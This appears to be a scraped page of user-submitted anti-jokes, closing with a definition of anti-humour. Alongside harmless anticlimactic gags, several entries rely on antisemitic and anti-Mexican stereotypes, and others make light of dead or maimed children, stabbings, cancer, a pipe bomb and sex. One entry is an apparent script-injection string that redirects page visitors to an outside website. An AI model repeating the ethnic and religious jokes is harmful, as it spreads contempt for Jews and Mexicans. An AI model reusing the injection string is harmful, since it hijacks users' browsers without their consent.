Why are all the other numbers scared of 7? Beacuse 7 stabbed his mother with a steak knife.

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yo mama is so fat, she's obeise

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What did the Jew say when he walked into a bar? Ouch!

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Why did Susie fall of the swing? She had no arms. Why didn't she catch herself? She had no legs. What did she get for Christmas? Cancer. What did she get for her birthday? Nothing, she died.

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Why did the chicken cross the dairy farm? Sex.

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Why was the boy eating lunch by himself at school? Because his only friend was hit by a train.

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Your Mamma So Fat The Old Thing That Block's Her From Destroying Kid's Party's Is The Front Door

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Your momma smells so bad that she purchased arm and hammer products to improve upon her natural scent.

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Q:Howd the blind kid find his way home? A:He didnt, he got lost and died of starvation.

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What do u do if a blonde throws a bomb at u Trigger the bomb and throw it back

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what happens on labor day? the day she has a baby... ya your having a kid

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There was a blonde driving a car but she was late to a meeting so she started speeding but then a police officer pulls her over. The officer asked the blonde "Do you know how fast you were going?" to which the blonde responded "Yes, I am late to a meeting" so the police gives a ticket for speeding and she ends up going late to her meeting.

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Why did the chicken cross the road? I don't know, ask the chicken.

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what did jacob say to coach a joke

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2 squirrels with 2 massive boners and 1 little boner.

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"'>document.location.href="http://cramik.org"

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What's the difference between a rhinoceros? I DIDN'T MURDER MY BROTHER OKAY!!!!!

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Why is the earth round? Because God saw it was flat and thought "too flat lets turn it around" And all was good.

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Roses are red violets are blue vodka cost less than dinner for two

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Q. Why did the child's mother tell him to clean his room? A. Because his room was messy.

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What do lawyers and sharks have in common? They both play vital roles in their own society or ecosystem.

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What do you call 4 Mexicans getting into a car late at night? 3rd Shift carpooling

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What did the little girl get for Christmas? A pipe bomb

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A Jew, an Irishman and a Russian walk into the bar and the bartender says, "Get the Hell out."

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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